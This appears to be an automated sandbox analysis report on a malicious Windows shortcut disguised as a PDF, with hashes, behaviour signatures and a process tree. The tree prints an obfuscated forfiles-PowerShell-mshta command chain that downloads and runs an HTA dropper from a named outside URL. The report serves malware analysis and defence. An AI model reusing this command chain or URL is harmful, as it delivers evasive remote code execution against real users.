Analysis

  • max time kernel
    140s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-10-2024 17:24

General

  • Target

    A/Instruction_1928.pdf.lnk

  • Size

    2KB

  • MD5

    b874532b90be5bd56eca4b28951f2f76

  • SHA1

    0356abd795c63a10cad9383a767687c92fc1b5f8

  • SHA256

    92216ebdd28ee3a886e296fd4ef8c5341b8c9dba8f1d1c498db62c95efc97262

  • SHA512

    036d26c62b65af38075842642708cf3e3f8eaef05025a7b3449d39e2f15c09a80cfd79ddf411c6d6d1aadd7fca4a462c4f86b5f1375166928457b759822586d3

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://ftp.timeless-tales.shop/api/reg/Panto

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indirect Command Execution 1 TTPs 1 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\A\Instruction_1928.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4380
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"
      2⤵
      • Indirect Command Execution
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4156
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" https://ftp.timeless-tales.shop/api/reg/Panto
          4⤵
          • Blocklisted process makes network request
          PID:3628

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jb2saca.niw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4156-0-0x00007FFE02ED3000-0x00007FFE02ED5000-memory.dmp

    Filesize

    8KB

  • memory/4156-1-0x0000027BFB390000-0x0000027BFB3B2000-memory.dmp

    Filesize

    136KB

  • memory/4156-11-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

    Filesize

    10.8MB

  • memory/4156-14-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

    Filesize

    10.8MB

  • memory/4156-16-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

    Filesize

    10.8MB